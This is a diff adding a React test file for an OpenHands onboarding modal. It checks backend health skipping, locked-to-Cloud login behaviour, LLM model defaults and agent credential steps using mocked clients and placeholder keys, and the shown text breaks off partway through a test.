+import { SecretsService } from "#/api/secrets-service";
+import { DEFAULT_SETTINGS } from "#/services/settings";
+import { useFreeModelsStore } from "#/stores/free-models-store";
+import * as telemetry from "#/services/telemetry";
+
+const llmSettingsScreenMock = vi.hoisted(() => vi.fn());
+const getServerInfoMock = vi.hoisted(() => vi.fn());
+const getSettingsMock = vi.hoisted(() => vi.fn().mockResolvedValue({}));
+const saveAgentProfileMock = vi.hoisted(() => vi.fn().mockResolvedValue({}));
+const getAgentProfileMock = vi.hoisted(() =>
+  vi.fn().mockResolvedValue({ profile: { id: "default-profile-id" } }),
+);
+const activateAgentProfileMock = vi.hoisted(() => vi.fn().mockResolvedValue({}));
+let captureMock: MockInstance<typeof telemetry.trackEvent>;
+
+// Both the backend status badge in the embedded edit form and the
+// step-1 health probe ride on `useBackendsHealth`, which resolves
+// server metadata through `ServerClient`.
+vi.mock("@openhands/typescript-client/clients", () => ({
+  ServerClient: vi.fn(function ServerClientMock(options?: { host?: string }) {
+    return {
+      getServerInfo: vi.fn(() => getServerInfoMock(options)),
+    };
+  }),
+  // The always-mounted LLM slide initializes settings hooks even though
+  // `LlmSettingsScreen` is stubbed, so provide the minimal client it needs.
+  SettingsClient: vi.fn(function SettingsClientMock() {
+    return {
+      getSettings: vi.fn(() => getSettingsMock()),
+    };
+  }),
+  AgentProfilesClient: vi.fn(function AgentProfilesClientMock() {
+    return {
+      saveAgentProfile: vi.fn((...args) => saveAgentProfileMock(...args)),
+      getAgentProfile: vi.fn((...args) => getAgentProfileMock(...args)),
+      activateAgentProfile: vi.fn((...args) => activateAgentProfileMock(...args)),
+    };
+  }),
+}));
+
+vi.mock("#/api/cloud/organization-service.api", () => ({
+  getCurrentCloudApiKey: vi.fn().mockResolvedValue({
+    orgId: null,
+    isLegacyKey: true,
+  }),
+}));
+
+// The LLM step renders the full `LlmSettingsScreen`, which transitively
+// pulls in agent-server config + schema queries we don't need to
+// exercise here. Stub it to a marker so we can still verify the LLM
+// step is mounted and inspect the onboarding defaults passed to it.
+vi.mock("#/routes/llm-settings", async () => {
+  const React = await import("react");
+
+  return {
+    LlmSettingsScreen: (props: Record<string, unknown>) => {
+      llmSettingsScreenMock(props);
+      return React.createElement(
+        "div",
+        { "data-testid": "llm-settings-screen-stub" },
+        "llm settings",
+      );
+    },
+  };
+});
+
+vi.mock("#/components/features/backends/device-flow-auth", async () => {
+  const React = await import("react");
+
+  return {
+    DeviceFlowAuth: ({
+      onSuccess,
+      testIdRoot,
+    }: {
+      onSuccess: (apiKey: string) => void;
+      testIdRoot: string;
+    }) =>
+      React.createElement(
+        "button",
+        {
+          type: "button",
+          "data-testid": `${testIdRoot}-login-button`,
+          onClick: () => onSuccess("cloud-session-key"),
+        },
+        "Login with OpenHands Cloud",
+      ),
+  };
+});
+
+vi.mock(
+  "#/components/features/automations/recommended-automations-launcher",
+  () => ({
+    RecommendedAutomationsLauncher: ({
+      onLaunched,
+    }: {
+      onLaunched?: () => void;
+    }) => (
+      <div data-testid="recommended-automations-launcher-stub">
+        <button type="button" onClick={onLaunched}>
+          launch recommended automation
+        </button>
+      </div>
+    ),
+  }),
+);
+
+vi.mock("#/hooks/use-is-creating-conversation", () => ({
+  useIsCreatingConversation: () => false,
+}));
+
+vi.mock("#/hooks/mutation/use-create-conversation", () => ({
+  useCreateConversation: () => ({
+    mutate: vi.fn(),
+    isPending: false,
+    isSuccess: false,
+  }),
+}));
+
+// The ACP credentials slide runs a login-detection probe (calls
+// GET /api/acp/auth-status). Stub it here so the modal routing tests don't hit
+// the network; the probe itself is covered in use-acp-auth-status.test.tsx.
+vi.mock("#/hooks/query/use-acp-auth-status", () => ({
+  useAcpAuthStatus: () => ({
+    status: "unknown",
+    isChecking: false,
+    isSupported: false,
+  }),
+}));
+
+async function waitForConfiguredBackendToBeSkipped() {
+  await waitFor(
+    () => {
+      expect(screen.queryByTestId("onboarding-step-check-backend")).toBeNull();
+      expect(screen.getByTestId("onboarding-modal")).toHaveAttribute(
+        "data-current-step",
+        "0",
+      );
+      expect(
+        within(screen.getByTestId("onboarding-slide-0")).getByTestId(
+          "onboarding-step-choose-agent",
+        ),
+      ).toBeInTheDocument();
+    },
+    { timeout: 3000 },
+  );
+}
+
+async function completeAgentStep(user: ReturnType<typeof userEvent.setup>) {
+  await user.click(screen.getByTestId("onboarding-agent-next"));
+  await waitFor(
+    () =>
+      expect(screen.getByTestId("onboarding-modal")).toHaveAttribute(
+        "data-current-step",
+        "1",
+      ),
+    { timeout: 3000 },
+  );
+}
+
+function seedCloudBackend() {
+  const backend = {
+    id: "cloud-backend",
+    name: "OpenHands Cloud",
+    host: "https://app.all-hands.dev",
+    apiKey: "cloud-session-key",
+    kind: "cloud" as const,
+  };
+  setRegisteredBackends([backend]);
+  setActiveSelection({ backendId: backend.id, orgId: null });
+  return backend;
+}
+
+function renderModal(onClose = vi.fn(), options?: { initialStep?: number }) {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  const navigationValue = {
+    currentPath: "/",
+    conversationId: null,
+    isNavigating: false,
+    navigate: vi.fn(),
+  };
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <ActiveBackendProvider>
+        <NavigationProvider value={navigationValue}>
+          <OnboardingModal
+            onClose={onClose}
+            initialStep={options?.initialStep}
+          />
+        </NavigationProvider>
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+beforeEach(() => {
+  captureMock = vi.spyOn(telemetry, "trackEvent").mockResolvedValue(undefined);
+  window.localStorage.clear();
+  window.sessionStorage.clear();
+  vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000");
+  vi.stubEnv("VITE_SESSION_API_KEY", "session-key");
+  __resetActiveStoreForTests();
+  useFreeModelsStore.getState().setFlags({
+    freeModels: new Set(),
+    defaultModel: null,
+  });
+  // Clear accumulated spy/mock call history so per-test assertions (the
+  // ACP secret-write checks and the LLM-defaults mock) don't see calls
+  // leaked from a prior test. Covers `llmSettingsScreenMock` too.
+  vi.clearAllMocks();
+  getServerInfoMock.mockReset();
+  getServerInfoMock.mockImplementation((options?: { host?: string }) => {
+    if (options?.host?.startsWith("https://127.0.0.1:8000")) {
+      return Promise.reject(new Error("Failed to fetch"));
+    }
+    return Promise.resolve({ version: "1.28.0" });
+  });
+  // ChooseAgentStep's Next button now persists the selection via
+  // saveSettings before advancing. Stub it so the rest of the flow
+  // (which these tests focus on) isn't gated on a real HTTP call.
+  vi.spyOn(SettingsService, "getSettings").mockResolvedValue({
+    ...DEFAULT_SETTINGS,
+    agent_settings: {
+      ...DEFAULT_SETTINGS.agent_settings,
+      llm: {},
+    },
+  });
+  vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true);
+  // The ACP secrets step lists existing secrets to flag "already saved"
+  // fields. Stub the fetch so it doesn't reach a real client (none is
+  // wired up in this test) and the field placeholders stay in the
+  // not-yet-saved state.
+  vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([]);
+  vi.spyOn(SecretsService, "createSecret").mockResolvedValue();
+});
+afterEach(() => {
+  captureMock.mockRestore();
+  window.localStorage.clear();
+  window.sessionStorage.clear();
+  vi.unstubAllEnvs();
+  __resetActiveStoreForTests();
+});
+
+describe("OnboardingModal", () => {
+  it("starts no-backend first-run users on the backend step with each slide offset by its index", () => {
+    window.localStorage.clear();
+    vi.stubEnv("VITE_BACKEND_BASE_URL", "");
+    vi.stubEnv("VITE_SESSION_API_KEY", "");
+    delete (window as unknown as Record<string, unknown>)
+      .__AGENT_CANVAS_SESSION_API_KEY__;
+    __resetActiveStoreForTests();
+
+    renderModal();
+
+    expect(screen.getByTestId("onboarding-modal")).toHaveAttribute(
+      "data-current-step",
+      "0",
+    );
+    expect(
+      screen.getByTestId("onboarding-step-check-backend"),
+    ).toBeInTheDocument();
+
+    expect(screen.getByTestId("onboarding-slide-0")).toHaveAttribute(
+      "data-active",
+      "true",
+    );
+
+    // Progress bar reflects step 1 of 4.
+    expect(screen.getByTestId("onboarding-progress-step-0")).toHaveAttribute(
+      "data-state",
+      "current",
+    );
+    expect(screen.getByTestId("onboarding-progress-step-1")).toHaveAttribute(
+      "data-state",
+      "upcoming",
+    );
+  });
+
+  it("skips backend setup when the configured backend is already healthy", async () => {
+    renderModal();
+
+    await waitForConfiguredBackendToBeSkipped();
+    expect(screen.getByTestId("onboarding-progress-bar")).toHaveAttribute(
+      "aria-valuemax",
+      "3",
+    );
+    expect(screen.getByTestId("onboarding-progress-step-2")).toHaveAttribute(
+      "data-state",
+      "upcoming",
+    );
+    expect(screen.queryByTestId("onboarding-progress-step-3")).toBeNull();
+    expect(screen.queryByTestId("onboarding-agent-back")).toBeNull();
+    expect(getServerInfoMock).toHaveBeenCalled();
+  });
+
+  it("starts first-run no-backend onboarding as Add a backend without an error banner", () => {
+    window.localStorage.clear();
+    vi.stubEnv("VITE_BACKEND_BASE_URL", "");
+    vi.stubEnv("VITE_SESSION_API_KEY", "");
+    delete (window as unknown as Record<string, unknown>)
+      .__AGENT_CANVAS_SESSION_API_KEY__;
+    __resetActiveStoreForTests();
+
+    renderModal();
+
+    expect(screen.getByText("BACKEND$ADD_TITLE")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("onboarding-backend-subtitle"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("onboarding-backend-disconnected"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("onboarding-backend-checking"),
+    ).not.toBeInTheDocument();
+    expect(screen.getByTestId("onboarding-backend-cloud-title")).toBeVisible();
+    expect(screen.getByTestId("onboarding-backend-login-button")).toBeVisible();
+  });
+
+  it("locks no-backend onboarding to Cloud login when VITE_LOCK_TO_CLOUD is set", () => {
+    window.localStorage.clear();
+    vi.stubEnv("VITE_BACKEND_BASE_URL", "");
+    vi.stubEnv("VITE_SESSION_API_KEY", "");
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://cloud.example.com");
+    delete (window as unknown as Record<string, unknown>)
+      .__AGENT_CANVAS_SESSION_API_KEY__;
+    __resetActiveStoreForTests();
+
+    renderModal();
+
+    expect(
+      screen.getByText("ONBOARDING$LOGIN_TO_CLOUD_TITLE"),
+    ).toBeInTheDocument();
+    expect(screen.queryByText("BACKEND$ADD_TITLE")).not.toBeInTheDocument();
+    expect(screen.getByTestId("onboarding-backend-cloud-title")).toBeVisible();
+    expect(screen.getByTestId("onboarding-backend-login-button")).toBeVisible();
+    expect(
+      screen.queryByTestId("onboarding-backend-host"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("onboarding-backend-api-key"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("onboarding-backend-advanced-toggle"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("onboarding-backend-cloud-host"),
+    ).not.toBeInTheDocument();
+    expect(screen.queryByTestId("onboarding-skip")).not.toBeInTheDocument();
+  });
+
+  it("dismisses the onboarding modal immediately after Cloud login in locked-to-Cloud mode without showing the next step", async () => {
+    // Regression for hieptl's flicker report on PR #1389: after logging
+    // into OpenHands Cloud in locked-to-Cloud mode, the onboarding modal
+    // used to advance to the Choose Agent slide (the "next window"),
+    // then get torn down by the root first-run gate, then briefly
+    // remounted by OnboardingHost — producing a visible flicker. Cloud
+    // login IS the onboarding completion in locked mode, so the modal
+    // must call `onClose` (dismiss) immediately instead of advancing,
+    // so the next slide never shows.
+    window.localStorage.clear();
+    vi.stubEnv("VITE_BACKEND_BASE_URL", "");
+    vi.stubEnv("VITE_SESSION_API_KEY", "");
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+    delete (window as unknown as Record<string, unknown>)
+      .__AGENT_CANVAS_SESSION_API_KEY__;
+    __resetActiveStoreForTests();
+
+    const onClose = vi.fn();
+    renderModal(onClose);
+    const user = userEvent.setup();
+
+    await user.click(screen.getByTestId("onboarding-backend-login-button"));
+
+    // Cloud login must dismiss the modal (not advance to Choose Agent).
+    expect(onClose).toHaveBeenCalledTimes(1);
+    // The stale-org reset still runs when replacing a mismatched host;
+    // here there was no prior backend, so nothing to assert beyond
+    // dismissal. The key contract: no slide advancement happened via
+    // the Cloud login path. The backend step is what was visible at
+    // click time, and the modal is now dismissing.
+  });
+
+  it("keeps the backend step visible for a reachable stale Local backend in locked-to-Cloud mode", async () => {
+    // Regression for PR #1389 review: in locked-to-Cloud mode a reachable
+    // stale Local backend (one persisted from a previous non-locked
+    // session) must NOT skip `CheckBackendStep`. The user has to stay on
+    // the backend slide so they can log into the locked Cloud host and
+    // replace the stale backend, rather than continuing as Local.
+    window.localStorage.clear();
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+    const staleLocal = {
+      id: "stale-local",
+      name: "Local",
+      host: "http://127.0.0.1:8000",
+      apiKey: "stale-key",
+      kind: "local" as const,
+    };
+    setRegisteredBackends([staleLocal]);
+    setActiveSelection({ backendId: staleLocal.id, orgId: null });
+    __resetActiveStoreForTests();
+
+    renderModal();
+
+    // The health probe succeeds for the stale Local backend, but the
+    // backend slide must remain the active step (not skipped to agent
+    // selection) because the backend is not the locked Cloud host.
+    await waitFor(() => {
+      expect(
+        screen.getByTestId("onboarding-step-check-backend"),
+      ).toBeInTheDocument();
+    });
+    expect(screen.getByTestId("onboarding-modal")).toHaveAttribute(
+      "data-current-step",
+      "0",
+    );
+    expect(screen.getByTestId("onboarding-progress-step-0")).toHaveAttribute(
+      "data-state",
+      "current",
+    );
+    // Progress bar keeps all 4 steps (backend slide still in the flow).
+    expect(screen.getByTestId("onboarding-progress-bar")).toHaveAttribute(
+      "aria-valuemax",
+      "4",
+    );
+    // The locked Cloud login UI must be presented for replacement, and
+    // the connected-backend "Next" shortcut (which would let the user
+    // advance with the stale Local backend still active) must NOT be
+    // offered. Keeping the slide mounted is not enough on its own.
+    expect(
+      screen.getByText("ONBOARDING$LOGIN_TO_CLOUD_TITLE"),
+    ).toBeInTheDocument();
+    expect(screen.getByTestId("onboarding-backend-cloud-title")).toBeVisible();
+    expect(screen.getByTestId("onboarding-backend-login-button")).toBeVisible();
+    expect(
+      screen.queryByTestId("onboarding-backend-show-configuration"),
+    ).toBeNull();
+    expect(screen.queryByTestId("onboarding-backend-next")).toBeNull();
+    // The misleading "Connected" banner for the stale backend should
+    // not render either; the user is being told to log into Cloud.
+    expect(screen.queryByTestId("onboarding-backend-subtitle")).toBeNull();
+  });
+
+  it("keeps the backend step visible for a reachable Cloud backend on a different host in locked-to-Cloud mode", async () => {
+    // A Cloud backend pointing at a host other than the locked Cloud host
+    // must also keep `CheckBackendStep` visible — `kind === "cloud"` alone
+    // is not enough; the host must match the locked host (normalized).
+    window.localStorage.clear();
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+    const otherCloud = {
+      id: "other-cloud",
+      name: "Other Cloud",
+      host: "https://other-cloud.example.com",
+      apiKey: "other-token",
+      kind: "cloud" as const,
+    };
+    setRegisteredBackends([otherCloud]);
+    setActiveSelection({ backendId: otherCloud.id, orgId: null });
+    __resetActiveStoreForTests();
+
+    renderModal();
+
+    await waitFor(() => {
+      expect(
+        screen.getByTestId("onboarding-step-check-backend"),
+      ).toBeInTheDocument();
+    });
+    expect(screen.getByTestId("onboarding-modal")).toHaveAttribute(
+      "data-current-step",
+      "0",
+    );
+    expect(screen.getByTestId("onboarding-progress-bar")).toHaveAttribute(
+      "aria-valuemax",
+      "4",
+    );
+  });
+
+  it("clears the stale active org_id when Cloud login replaces a mismatched Cloud backend", async () => {
+    // Regression for PR #1389 review: replacing a mismatched Cloud
+    // backend updates the backend row's host/apiKey, but the persisted
+    // active org_id is keyed to the OLD host's org list. Leaving it in
+    // place causes subsequent Cloud API calls to send an invalid
+    // X-Org-Id to the locked Cloud host. After Cloud login completes,
+    // active.orgId must be reset to null.
+    window.localStorage.clear();
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+    const otherCloud = {
+      id: "other-cloud",
+      name: "Other Cloud",
+      host: "https://other-cloud.example.com",
+      apiKey: "other-token",
+      kind: "cloud" as const,
+    };
+    setRegisteredBackends([otherCloud]);
+    setActiveSelection({
+      backendId: otherCloud.id,
+      orgId: "stale-org-from-other-host",
+    });
+    __resetActiveStoreForTests();
+    expect(getActiveSelection()?.orgId).toBe("stale-org-from-other-host");
+
+    renderModal();
+    const user = userEvent.setup();
+
+    await waitFor(() => {
+      expect(
+        screen.getByTestId("onboarding-backend-login-button"),
+      ).toBeInTheDocument();
+    });
+
+    await user.click(screen.getByTestId("onboarding-backend-login-button"));
+
+    await waitFor(() => {
+      expect(getActiveSelection()?.orgId).toBeNull();
+    });
+    // The backend row was updated rather than added: still a single
+    // entry, but now pointed at the locked Cloud host.
+    expect(getActiveSelection()?.backendId).toBe(otherCloud.id);
+  });
+
+  it("skips the backend step in locked-to-Cloud mode when the active backend IS the locked Cloud host", async () => {
+    // Positive control: when the active backend is the locked Cloud host
+    // (and healthy), the backend slide is skipped exactly as before.
+    window.localStorage.clear();
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+    const lockedCloud = {
+      id: "locked-cloud",
+      name: "OpenHands Cloud",
+      host: "https://app.all-hands.dev/",
+      apiKey: "cloud-token",
+      kind: "cloud" as const,
+    };
+    setRegisteredBackends([lockedCloud]);
+    setActiveSelection({ backendId: lockedCloud.id, orgId: null });
+    __resetActiveStoreForTests();
+
+    renderModal();
+
+    // Trailing slash on the stored host must normalize-match the locked
+    // host, so the backend slide is skipped.
+    await waitForConfiguredBackendToBeSkipped();
+    expect(screen.getByTestId("onboarding-progress-bar")).toHaveAttribute(
+      "aria-valuemax",
+      "3",
+    );
+  });
+
+  it("keeps users on Choose Agent after Cloud login in standard (non-locked) mode", async () => {
+    // Regression for #1389 review feedback: in standard mode (no
+    // VITE_LOCK_TO_CLOUD), the onboarding backend slide shows both the
+    // manual column and the Cloud column. Completing Cloud login from
+    // there used to land the user on the Set Up LLM slide because the
+    // slide-rail renumbered when `skipBackendStep` flipped before the
+    // post-flip step-decrement effect ran. Phase-based state must keep
+    // them on Choose Agent regardless of the renumber.
+    window.localStorage.clear();
+    vi.stubEnv("VITE_BACKEND_BASE_URL", "");
+    vi.stubEnv("VITE_SESSION_API_KEY", "");
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "");
+    delete (window as unknown as Record<string, unknown>)
+      .__AGENT_CANVAS_SESSION_API_KEY__;
+    __resetActiveStoreForTests();
+
+    renderModal();
+    const user = userEvent.setup();
+
+    // Both columns should be visible in standard mode.
+    expect(screen.getByTestId("onboarding-backend-host")).toBeInTheDocument();
+    expect(
+      screen.getByTestId("onboarding-backend-login-button"),
+    ).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("onboarding-backend-login-button"));
+
+    await waitFor(() => {
+      expect(screen.getByTestId("onboarding-modal")).toHaveAttribute(
+        "data-current-step",
+        "0",
+      );
+      expect(
+        within(screen.getByTestId("onboarding-slide-0")).getByTestId(
+          "onboarding-step-choose-agent",
+        ),
+      ).toBeInTheDocument();
+    });
+    expect(screen.getByTestId("onboarding-slide-0")).toHaveAttribute(
+      "data-active",
+      "true",
+    );
+    // The Set Up LLM slide is always mounted (transform-translated off-screen),
+    // but it must not be the active slide after Cloud login completes.
+    expect(screen.getByTestId("onboarding-slide-1")).toHaveAttribute(
+      "data-active",
+      "false",
+    );
+  });
+
+  it("does not render an 'Or' divider between manual and Cloud columns", () => {
+    // Regression for #1389 review feedback: the "Or" label between
+    // BackendConnectionOptions' manual and Cloud columns is visually
+    // redundant given the columns are already clearly separated and
+    // both have prominent titles. It must not render.
+    window.localStorage.clear();
+    vi.stubEnv("VITE_BACKEND_BASE_URL", "");
+    vi.stubEnv("VITE_SESSION_API_KEY", "");
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "");
+    delete (window as unknown as Record<string, unknown>)
+      .__AGENT_CANVAS_SESSION_API_KEY__;
+    __resetActiveStoreForTests();
+
+    renderModal();
+
+    expect(screen.queryByText("BACKEND$LOGIN_OR")).toBeNull();
+  });
+
+  it("shows a connection error when the backend API key is invalid", async () => {
+    window.localStorage.clear();
+    vi.stubEnv("VITE_BACKEND_BASE_URL", "");
+    vi.stubEnv("VITE_SESSION_API_KEY", "");
+    delete (window as unknown as Record<string, unknown>)
+      .__AGENT_CANVAS_SESSION_API_KEY__;
+    __resetActiveStoreForTests();
+
+    // Mock SettingsClient to throw a 401 error
+    const authError = new Error("Unauthorized");
+    authError.name = "HttpError";
+    (authError as any).status = 401;
+    getSettingsMock.mockRejectedValueOnce(authError);
+    // getServerInfoMock implicitly resolves, but shouldn't be reached if test is correct
+
+    renderModal();
+    const user = userEvent.setup();
+
+    await user.clear(screen.getByTestId("onboarding-backend-host"));
+    await user.type(
+      screen.getByTestId("onboarding-backend-host"),
+      "https://127.0.0.1:8000",
+    );
+    await user.clear(screen.getByTestId("onboarding-backend-api-key"));
+    await user.type(
+      screen.getByTestId("onboarding-backend-api-key"),
+      "invalid-session-key",
+    );
+    await user.click(screen.getByTestId("onboarding-backend-next"));
+
+    expect(
+      await screen.findByTestId("onboarding-backend-error"),
+    ).toHaveTextContent("BACKEND$CONNECTION_TEST_FAILED");
+    expect(screen.getByTestId("onboarding-backend-error")).toHaveTextContent(
+      "Invalid API key", // This comes from INVALID_BACKEND_API_KEY_ERROR
+    );
+
+    // Should not advance to the next step
+    expect(screen.queryByText("BACKEND$LOGIN_OR")).toBeNull();
+  });
+
+  it("shows a connection error when saving an unreachable backend", async () => {
+    window.localStorage.clear();
+    vi.stubEnv("VITE_BACKEND_BASE_URL", "");
+    vi.stubEnv("VITE_SESSION_API_KEY", "");
+    delete (window as unknown as Record<string, unknown>)
+      .__AGENT_CANVAS_SESSION_API_KEY__;
+    __resetActiveStoreForTests();
+
+    renderModal();
+    const user = userEvent.setup();
+
+    await user.clear(screen.getByTestId("onboarding-backend-host"));
+    await user.type(
+      screen.getByTestId("onboarding-backend-host"),
+      "https://127.0.0.1:8000",
+    );
+    await user.clear(screen.getByTestId("onboarding-backend-api-key"));
+    await user.type(
+      screen.getByTestId("onboarding-backend-api-key"),
+      "session-key",
+    );
+    await user.click(screen.getByTestId("onboarding-backend-next"));
+
+    expect(
+      await screen.findByTestId("onboarding-backend-error"),
+    ).toHaveTextContent("BACKEND$CONNECTION_TEST_FAILED");
+    expect(screen.getByTestId("onboarding-backend-error")).toHaveTextContent(
+      "Disconnected",
+    );
+  });
+
+  it("pre-fills the LLM step with the OpenHands default model", () => {
+    renderModal();
+
+    expect(llmSettingsScreenMock).toHaveBeenCalledTimes(1);
+    expect(llmSettingsScreenMock).toHaveBeenCalledWith(
+      expect.objectContaining({
+        initialValueOverrides: {
+          "llm.model": ONBOARDING_DEFAULT_LLM_MODEL,
+        },
+      }),
+    );
+  });
+
+  it("pre-fills the LLM step with the DB-selected OpenHands default", () => {
+    useFreeModelsStore.getState().setFlags({
+      freeModels: new Set(["openhands/gpt-5.2"]),
+      defaultModel: "openhands/gpt-5.2",
+    });
+
+    renderModal();
+
+    expect(llmSettingsScreenMock).toHaveBeenCalledTimes(1);
+    expect(llmSettingsScreenMock).toHaveBeenCalledWith(
+      expect.objectContaining({
+        initialValueOverrides: {
+          "llm.model": "openhands/gpt-5.2",
+        },
+      }),
+    );
+  });
+
+  it("does not show backend configuration when the configured backend is healthy", async () => {
+    renderModal();
+
+    await waitForConfiguredBackendToBeSkipped();
+    expect(screen.queryByTestId("onboarding-backend-connected")).toBeNull();
+    expect(
+      screen.queryByTestId("onboarding-backend-configuration-fields"),
+    ).toBeNull();
+  });
+
+  it("advances each step via the per-step Next button and reframes slide offsets", async () => {
+    renderModal();
+    const user = userEvent.setup();
+
+    // Healthy configured backends are skipped, so agent selection is step 0.
+    await waitForConfiguredBackendToBeSkipped();
+    expect(screen.getByTestId("onboarding-slide-0")).toHaveAttribute(
+      "data-active",
+      "true",
+    );
+
+    // Step 0 → 1. ChooseAgentStep does an async save before advancing.
+    await completeAgentStep(user);
+    expect(screen.getByTestId("onboarding-slide-1")).toHaveAttribute(
+      "data-active",
+      "true",
+    );
+
+    // Step 1 → 2
+    await user.click(screen.getByTestId("onboarding-llm-next"));
+    expect(screen.getByTestId("onboarding-modal")).toHaveAttribute(
+      "data-current-step",
+      "2",
+    );
+    expect(screen.getByTestId("onboarding-slide-2")).toHaveAttribute(
+      "data-active",
+      "true",
+    );
+  });
+
+  it("Skip immediately closes the modal", async () => {
+    const onClose = vi.fn();
+    renderModal(onClose);
+
+    const user = userEvent.setup();
+    await user.click(screen.getByTestId("onboarding-skip"));
+
+    expect(onClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("stays open when the user clicks outside it or presses Escape", async () => {
+    // Arrange
+    const onClose = vi.fn();
+    renderModal(onClose);
+    const user = userEvent.setup();
+
+    // Act: errant interactions outside the modal box — click the dark
+    // backdrop overlay, then press Escape.
+    const backdrop = screen.getByRole("dialog")
+      .firstElementChild as HTMLElement;
+    await user.click(backdrop);
+    await user.keyboard("{Escape}");
+
+    // Assert: neither dismisses the flow nor marks onboarding completed
+    // (https://github.com/OpenHands/agent-canvas/issues/1085); the modal
+    // only closes via explicit actions (Skip / launch).
+    expect(onClose).not.toHaveBeenCalled();
+    expect(screen.getByTestId("onboarding-modal")).toBeInTheDocument();
+  });
+
+  it("wraps the slide rail in a dedicated scroll region so the modal chrome stays put", () => {
+    // Arrange + act: render the modal once.
+    renderModal();
+
+    // Assert: the slide rail lives inside the scroll region. Long step
+    // content overflows this region rather than the modal itself, so
+    // the progress bar above it never scrolls away. Skip sits below the modal.
+    const scrollArea = screen.getByTestId("onboarding-scroll-area");
+    const rail = screen.getByTestId("onboarding-slide-rail");
+    expect(scrollArea.contains(rail)).toBe(true);
+    // Bottom padding matches the header (`pt-7`) so the last control is
+    // not flush against the modal edge. The region must size to its
+    // content (`min-h-0` + overflow, no `flex-1`) so a content-fitting
+    // step does not paint a leftover scrollbar.
+    expect(scrollArea).toHaveClass("pb-7");
+    expect(scrollArea).not.toHaveClass("flex-1");
+  });
+
+  it("keeps the LLM step heading and Back/Next outside the scrollable settings body", async () => {
+    // Arrange: render the modal and walk through to the LLM step.
+    renderModal();
+    const user = userEvent.setup();
+    await waitForConfiguredBackendToBeSkipped();
+    await completeAgentStep(user);
+    // Wait for the LLM slide to become the active one before querying
+    // by role — otherwise the heading is `aria-hidden` from inside a
+    // not-yet-active slide and getByRole filters it out.
+    await waitFor(
+      () =>
+        expect(screen.getByTestId("onboarding-modal")).toHaveAttribute(
+          "data-current-step",
+          "1",
+        ),
+      { timeout: 3000 },
+    );
+
+    // Act: locate the step's scrollable settings wrapper and the chrome
+    // around it that the user expects to remain visible.
+    const step = screen.getByTestId("onboarding-step-setup-llm");
+    const settings = within(step).getByTestId("onboarding-llm-settings");
+    const heading = within(step).getByRole("heading", { level: 2 });
+    const back = within(step).getByTestId("onboarding-llm-back");
+    const next = within(step).getByTestId("onboarding-llm-next");
+
+    // Assert: heading and footer buttons are siblings of the settings
+    // body, not descendants. Anything moved inside the settings wrapper
+
+    // would scroll out of view on the All tab — this is the invariant
+    // the fix relies on.
+    expect(settings.contains(heading)).toBe(false);
+    expect(settings.contains(back)).toBe(false);
+    expect(settings.contains(next)).toBe(false);
+  });
+
+  it("hides the Say Hello OR separator when recommended automations are unavailable on Cloud", () => {
+    seedCloudBackend();
+
+    renderModal();
+
+    expect(screen.queryByTestId("onboarding-hello-or-separator")).toBeNull();
+    expect(
+      screen.queryByTestId("onboarding-recommended-automations"),
+    ).toBeNull();
+  });
+
+  it("shows the setup slide with Gemini's credential fields", async () => {
+    renderModal();
+    const user = userEvent.setup();
+
+    // Pick Gemini CLI: its key/base-URL come from the SDK registry like the
+    // other providers, so the slide shows the GEMINI_API_KEY field.
+    await waitForConfiguredBackendToBeSkipped();
+    await user.click(screen.getByTestId("onboarding-agent-option-gemini-cli"));
+    await completeAgentStep(user);
+
+    // Lands on the setup slide (the ACP step) — not jumped past to Say Hello.
+    await waitFor(
+      () =>
+        expect(screen.getByTestId("onboarding-modal")).toHaveAttribute(
+          "data-current-step",
+          "1",
+        ),
+      { timeout: 3000 },
+    );
+    expect(screen.getByTestId("onboarding-slide-1")).toHaveAttribute(
+      "data-active",
+      "true",
+    );
+    expect(
+      screen.getByTestId("onboarding-step-setup-acp-secrets"),
+    ).toBeInTheDocument();
+    // Gemini exposes credential fields (GEMINI_API_KEY), derived from the SDK
+    // registry like Claude Code / Codex.
+    expect(
+      screen.getByTestId("onboarding-acp-secret-GEMINI_API_KEY"),
+    ).toBeInTheDocument();
+
+    // The flow skips backend setup and keeps three progress segments.
+    expect(
+      screen.getByTestId("onboarding-progress-step-2"),
+    ).toBeInTheDocument();
+    expect(screen.queryByTestId("onboarding-progress-step-3")).toBeNull();
+    expect(screen.getByTestId("onboarding-progress-step-1")).toHaveAttribute(
+      "data-state",
+      "current",
+    );
+  });
+
+  it("shows the ACP credentials step for Claude Code and saves entered keys as secrets", async () => {
+    renderModal();
+    const user = userEvent.setup();
+
+    // Pick Claude Code after configuring the backend.
+    await waitForConfiguredBackendToBeSkipped();
+    await user.click(screen.getByTestId("onboarding-agent-option-claude-code"));
+    await completeAgentStep(user);
+
+    // The setup slide is the ACP credentials step — not Say Hello — after
+    // skipping the already healthy backend.
+    await waitFor(
+      () =>
+        expect(screen.getByTestId("onboarding-modal")).toHaveAttribute(
+          "data-current-step",
+          "1",
+        ),
+      { timeout: 3000 },
+    );
+    expect(screen.getByTestId("onboarding-slide-1")).toHaveAttribute(
+      "data-active",
+      "true",
+    );
+    expect(
